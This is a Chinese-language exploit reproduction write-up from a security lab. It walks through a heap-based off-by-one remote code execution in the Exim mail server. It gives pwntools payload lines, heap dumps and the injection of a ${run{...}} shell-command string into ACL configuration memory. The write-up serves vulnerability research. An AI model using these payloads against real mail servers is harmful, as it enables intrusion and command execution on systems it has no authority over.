作者:Hcamael@知道創(chuàng)宇404實(shí)驗(yàn)室
前段時(shí)間meh又挖了一個(gè)Exim的RCE漏洞,而且這次RCE的漏洞的約束更少了,就算開(kāi)啟了PIE仍然能被利用。雖然去年我研究過(guò)Exim,但是時(shí)間過(guò)去這么久了,所以這次復(fù)現(xiàn)還是花了大量時(shí)間在熟悉Exim源碼上。
本次漏洞復(fù)現(xiàn)的過(guò)程中,踩了好多坑,實(shí)際復(fù)現(xiàn)的過(guò)程中發(fā)現(xiàn)堆塊的實(shí)際情況無(wú)法像meh所說(shuō)的那樣的構(gòu)造,所以在這部分卡了很久(猜測(cè)是因?yàn)榄h(huán)境不同的原因),之后決定先理解meh利用的大致思路,然后自己根據(jù)實(shí)際情況對(duì)堆塊進(jìn)行構(gòu)造,雖然過(guò)程艱難,但最終基本算是成功了。
復(fù)現(xiàn)環(huán)境搭建
本次使用的環(huán)境和上次大致相同, 首先去github上該漏洞的patch commit
然后把分支切換到上一個(gè)commit
$ git clone https://github.com/Exim/exim.git
$ git checkout 38e3d2dff7982736f1e6833e06d4aab4652f337a
$ cd src
$ mkdir Local
Makefile仍然使用上次那個(gè):
$ cat Local/makefile | grep -v "#" BIN_DIRECTORY=/usr/exim/bin CONFIGURE_FILE=/usr/exim/configure EXIM_USER=ubuntu SPOOL_DIRECTORY=/var/spool/exim ROUTER_ACCEPT=yes ROUTER_DNSLOOKUP=yes ROUTER_IPLITERAL=yes ROUTER_MANUALROUTE=yes ROUTER_QUERYPROGRAM=yes ROUTER_REDIRECT=yes TRANSPORT_APPENDFILE=yes TRANSPORT_AUTOREPLY=yes TRANSPORT_PIPE=yes TRANSPORT_SMTP=yes LOOKUP_DBM=yes LOOKUP_LSEARCH=yes LOOKUP_DNSDB=yes PCRE_CONFIG=yes FIXED_NEVER_USERS=root AUTH_CRAM_MD5=yes AUTH_PLAINTEXT=yes AUTH_TLS=yes HEADERS_CHARSET="ISO-8859-1" SUPPORT_TLS=yes TLS_LIBS=-lssl -lcrypto SYSLOG_LOG_PID=yes EXICYCLOG_MAX=10 COMPRESS_COMMAND=/usr/bin/gzip COMPRESS_SUFFIX=gz ZCAT_COMMAND=/usr/bin/zcat SYSTEM_ALIASES_FILE=/etc/aliases EXIM_TMPDIR="/tmp"
然后就是編譯安裝了:
$ make -j8 $ sudo make install
啟動(dòng)也是跟上次一樣,但是這里有一個(gè)坑點(diǎn),開(kāi)啟debug,輸出所有debug信息,不開(kāi)debug,這些都堆的布局都會(huì)有影響。不過(guò)雖然有影響,但是只是影響構(gòu)造的細(xì)節(jié),總體的構(gòu)造思路還是按照meh寫的paper中那樣。
本篇的復(fù)現(xiàn),都是基于只輸出部分debug信息的模式:
$ /usr/exim/bin/exim -bdf -dd # 輸出完整debug信息使用的是-bdf -d+all # 不開(kāi)啟debug模式使用的是-bdf
漏洞復(fù)現(xiàn)
因?yàn)槲矣X(jué)得meh的文章中,漏洞原理和相關(guān)函數(shù)的說(shuō)明已經(jīng)很詳細(xì),我也沒(méi)啥要補(bǔ)充的,所以直接寫我的復(fù)現(xiàn)過(guò)程
STEP 1
首先需要構(gòu)造一個(gè)被釋放的chunk,但是沒(méi)必要像meh文章說(shuō)的是一個(gè)0x6060大小的chunk,只需要滿足幾個(gè)條件:
這個(gè)chunk要被分為三個(gè)部分,一個(gè)部分是通過(guò)store_get
獲取,用來(lái)存放base64解碼的數(shù)據(jù),用來(lái)造成off by one
漏洞,覆蓋下一個(gè)chunk的size,因?yàn)橥ㄟ^(guò)store_get
獲取的chunk最小值是0x2000,然后0x10的堆頭和0x10的exim自己實(shí)現(xiàn)的堆頭,所以是一個(gè)至少0x2020的堆塊。
第二部分用來(lái)放sender_host_name
,因?yàn)樵撟兞康膬?nèi)存是通過(guò)store_malloc
獲取的,所以沒(méi)有大小限制
第三部分因?yàn)樾枰獦?gòu)造一個(gè)fake chunk用來(lái)過(guò)free的檢查,所以也是一個(gè)至少0x2020的堆塊
和meh的方法不同,我通過(guò)unrecognized command
來(lái)獲取一個(gè)0x4041的堆塊,然后通過(guò)EHLO
來(lái)釋放:
p.sendline("\x7f"*4102) p.sendline("EHLO %s"%("c"*(0x2010))) # heap 0x1d15180 PREV_INUSE { prev_size = 0x0, size = 0x4041, fd = 0x7f9520917b78, bk = 0x1d1b1e0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x1d191c0 { prev_size = 0x4040, size = 0x2020, fd = 0x6363636363636363, bk = 0x6363636363636363, fd_nextsize = 0x6363636363636363, bk_nextsize = 0x6363636363636363 }
0x1d15180是通過(guò)unrecognized command
獲取的一個(gè)0x4040大小的chunk,在執(zhí)行完EHLO
命令后被釋放, 然后0x1d191c0是inuse的sender_host_name
,這兩部分就構(gòu)成一個(gè)0x6060的chunk
STEP 2
現(xiàn)在的情況是sender_host_name
位于0x6060大小chunk的最底部,而我們需要把它移到中間
這部分的思路和meh的一樣,首先通過(guò)unrecognized command
占用頂部0x2020的chunk
之前的文章分析過(guò),unrecognized command
申請(qǐng)內(nèi)存的大小是ss = store_get(length + nonprintcount * 3 + 1);
通過(guò)計(jì)算,只需要讓length + nonprintcount * 3 + 1 > yield_length
,store_get
函數(shù)就會(huì)從malloc中申請(qǐng)一個(gè)chunk
p.sendline("\x7f"*0x800)
這個(gè)時(shí)候我們就能使用EHLO
釋放之前的sender_host_name
,然后重新設(shè)置,讓sender_host_name
位于0x6060大小chunk的中部
p.sendline("EHLO %s"%("c"*(0x2000-9))) # heap 0x1d15180 PREV_INUSE { prev_size = 0x0, size = 0x2021, fd = 0x7f9520917b78, bk = 0x1d191a0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x1d171a0 { prev_size = 0x2020, size = 0x2000, fd = 0x6363636363636363, bk = 0x6363636363636363, fd_nextsize = 0x6363636363636363, bk_nextsize = 0x6363636363636363 } 0x1d191a0 PREV_INUSE { prev_size = 0x63636363636363, size = 0x6061, fd = 0x1d15180, bk = 0x7f9520917b78, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x1d1f200 { prev_size = 0x6060, size = 0x2020, fd = 0x1d27380, bk = 0x2008, fd_nextsize = 0x6363636363636328, bk_nextsize = 0x6363636363636363 }
STEP 3
現(xiàn)在我們的堆布局是:
sender_host_name
我們現(xiàn)在再回過(guò)頭來(lái)想想各個(gè)chunk的size的設(shè)置的問(wèn)題
CHUNK 1
第一個(gè)chunk是用來(lái)觸發(fā)off by one
漏洞,用來(lái)修改第二個(gè)CHUNK的size位,只能溢出1byte
store_get
最小分配一個(gè)0x2020的chunk,能儲(chǔ)存0x2000的數(shù)據(jù)
這就導(dǎo)致了,如果按照store_get
的最小情況來(lái),只能溢出覆蓋掉第二個(gè)chunk的pre_size位
然后因?yàn)?code>(0x2008-1)%3==0,所以我們能通過(guò)b64decode函數(shù)的漏洞申請(qǐng)一個(gè)能儲(chǔ)存0x2008的數(shù)據(jù),size=0x2020的chunk,然后溢出一個(gè)字節(jié)到下一個(gè)chunk的size位
CHUNK2
第二塊chunk,我們首先需要考慮,因?yàn)橹荒苄薷囊粋€(gè)字節(jié),所以最大只能從0x00擴(kuò)展到0xf0
其次,我們假設(shè)第二塊chunk的原始size=0x2021,然后被修改成0x20f1,我們還需要考慮第二塊chunk+0x20f1位置的堆塊我們是否可控,因?yàn)樾枰獋卧煲粋€(gè)fake chunk,來(lái)bypass free函數(shù)的安全檢查。
經(jīng)過(guò)多次調(diào)試,發(fā)現(xiàn)當(dāng)?shù)诙Kchunk的size=0x2001時(shí),更方便后續(xù)的利用
CHUNK3
第三個(gè)chunk只要求大于一個(gè)store_get
申請(qǐng)的最小size(0x2020)就行了
STEP 4
根據(jù)第三步敘述的,我們來(lái)觸發(fā)off by one
漏洞
payload1 = "HfHf"*0xaae p.sendline("AUTH CRAM-MD5") p.sendline(payload1[:-1]) # heap 0x1d15180 PREV_INUSE { prev_size = 0x0, size = 0x2021, fd = 0x1d191b0, bk = 0x2008, fd_nextsize = 0xf11ddff11ddff11d, bk_nextsize = 0x1ddff11ddff11ddf } 0x1d171a0 PREV_INUSE { prev_size = 0x1ddff11ddff11ddf, size = 0x20f1, fd = 0x6363636363636363, bk = 0x6363636363636363, fd_nextsize = 0x6363636363636363, bk_nextsize = 0x6363636363636363 } 0x1d19290 PREV_INUSE IS_MMAPED { prev_size = 0x6363636363636363, size = 0x6363636363636363, fd = 0x6363636363636363, bk = 0x6363636363636363, fd_nextsize = 0x6363636363636363, bk_nextsize = 0x6363636363636363 }
并且構(gòu)造在第三塊chunk中構(gòu)造一個(gè)fake chunk
payload = p64(0x20f0)+p64(0x1f31) p.sendline("AUTH CRAM-MD5") p.sendline((payload*484).encode("base64").replace("\n","")) # heap 0x1d15180 PREV_INUSE { prev_size = 0x0, size = 0x2021, fd = 0x1d191b0, bk = 0x2008, fd_nextsize = 0xf11ddff11ddff11d, bk_nextsize = 0x1ddff11ddff11ddf } 0x1d171a0 PREV_INUSE { prev_size = 0x1ddff11ddff11ddf, size = 0x20f1, fd = 0x6363636363636363, bk = 0x6363636363636363, fd_nextsize = 0x6363636363636363, bk_nextsize = 0x6363636363636363 } 0x1d19290 PREV_INUSE { prev_size = 0xf0, size = 0x1f31, fd = 0x20f0, bk = 0x1f31, fd_nextsize = 0x20f0, bk_nextsize = 0x1f31 } 0x1d1b1c0 PREV_INUSE { prev_size = 0x2020, size = 0x4041, fd = 0x7f9520918288, bk = 0x7f9520918288, fd_nextsize = 0x1d1b1c0, bk_nextsize = 0x1d1b1c0 }
STEP 5
下一步跟meh一樣,通過(guò)釋放sender_host_name
,把一個(gè)原本0x2000的chunk擴(kuò)展成0x20f0, 但是卻不觸發(fā)smtp_reset
p.sendline("EHLO a+") # heap 0x1d171a0 PREV_INUSE { prev_size = 0x1ddff11ddff11ddf, size = 0x20f1, fd = 0x1d21240, bk = 0x7f9520917b78, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x1d19290 { prev_size = 0x20f0, size = 0x1f30, fd = 0x20f0, bk = 0x1f31, fd_nextsize = 0x20f0, bk_nextsize = 0x1f31 }
STEP 6
meh提供了一種不需要泄露地址就能RCE的思路
exim有一個(gè)expand_string
函數(shù),當(dāng)其處理的參數(shù)中有${run{xxxxx}}
, xxxx
則會(huì)被當(dāng)成shell命令執(zhí)行
而acl_check
函數(shù)中會(huì)對(duì)各個(gè)命令的配置進(jìn)行檢查,然后把配置信息的字符串調(diào)用expand_string
函數(shù)
我復(fù)現(xiàn)環(huán)境的配置信息如下:
pwndbg> x/18gx &acl_smtp_vrfy 0x6ed848 <acl_smtp_vrfy>: 0x0000000000000000 0x0000000000000000 0x6ed858 <acl_smtp_rcpt>: 0x0000000001cedac0 0x0000000000000000 0x6ed868 <acl_smtp_predata>: 0x0000000000000000 0x0000000000000000 0x6ed878 <acl_smtp_mailauth>: 0x0000000000000000 0x0000000000000000 0x6ed888 <acl_smtp_helo>: 0x0000000000000000 0x0000000000000000 0x6ed898 <acl_smtp_etrn>: 0x0000000000000000 0x0000000000000000 0x6ed8a8 <acl_smtp_data>: 0x0000000001cedad0 0x0000000000000000 0x6ed8b8 <acl_smtp_auth>: 0x0000000001cedae0 0x0000000000000000
所以我有rcpt
, data
, auth
這三個(gè)命令可以利用
比如0x0000000001cedae0
地址當(dāng)前的內(nèi)容是:
pwndbg> x/s 0x0000000001cedae0 0x1cedae0: "acl_check_auth"
當(dāng)我把該字符串修改為${run{/usr/bin/touch /tmp/pwned}}
則當(dāng)我向服務(wù)器發(fā)送AUTH
命令時(shí),exim將會(huì)執(zhí)行/usr/bin/touch /tmp/pwned
所以之后就是meh所說(shuō)的利用鏈:
修改storeblock
的next指針為儲(chǔ)存acl_check_xxxx
字符串的堆塊地址 -> 調(diào)用smtp_reset -> 儲(chǔ)存acl_check_xxxx
字符串的堆塊被釋放丟入unsortedbin -> 申請(qǐng)堆塊,當(dāng)堆塊的地址為儲(chǔ)存acl_check_xxxx
字符串的堆塊時(shí),我們可以覆蓋該字符串為命令執(zhí)行的字符串 -> RCE
STEP 7
根據(jù)上一步所說(shuō),我們首先需要修改next指針,第二塊chunk的原始大小是0x2000,被修改后新的大小是0x20f0,下一個(gè)storeblock
的地址為第二塊chunk+0x2000,next指針地址為第二塊chunk+0x2010
所以我們申請(qǐng)一個(gè)0x2020的chunk,就能夠覆蓋next指針:
p.sendline("AUTH CRAM-MD5") p.sendline(base64.b64encode(payload*501+p64(0x2021)+p64(0x2021)+p32(address)))
這里有一個(gè)問(wèn)題
第二個(gè)chunk在AUTH CRAM-MD5
命令執(zhí)行時(shí)就被分配了,所以b64decode
的內(nèi)存是從next_yield
獲取的
這樣就導(dǎo)致一個(gè)問(wèn)題,我們能通過(guò)之前的構(gòu)造來(lái)控制在執(zhí)行b64decode
時(shí)yield_length
的大小,最開(kāi)始我的一個(gè)思路就是,仍然利用off by one
漏洞來(lái)修改next,這也是我理解的meh所說(shuō)的partial write
但是實(shí)際情況讓我這個(gè)思路失敗了
pwndbg> x/16gx 0x1d171a0+0x2000 0x1d191a0: 0x0063636363636363 0x0000000000002021 0x1d191b0: 0x0000000001d171b0 0x0000000000002000
當(dāng)前的next指針的值為0x1d171b0,如果利用我的思路是可以修改1-2字節(jié),然而儲(chǔ)存acl_check_xxx
字符的堆塊地址為0x1ced980
我們需要修改3字節(jié),所以這個(gè)思路行不通
所以又有了另一個(gè)思路,因?yàn)閑xim是通過(guò)fork起子進(jìn)程來(lái)處理每個(gè)socket連接的,所以我們可以爆破堆的基地址,只需要爆破2byte
STEP 8
在解決地址的問(wèn)題后,就是對(duì)堆進(jìn)行填充,然后修改相關(guān)acl_check_xxx
指向的字符串
然后附上利用截圖:
坑踩的挺多,尤其是在糾結(jié)meh所說(shuō)的partial write
,之后在github上看到別人公布的exp[3],同樣也是使用爆破的方法,所以可能我對(duì)partial write
的理解有問(wèn)題吧
另外,通過(guò)與github上的exp進(jìn)行對(duì)比,發(fā)現(xiàn)不同版本的exim,acl_check_xxx
的堆偏移也有差別,所以如果需要RCE exim,需要滿足下面的條件:
參考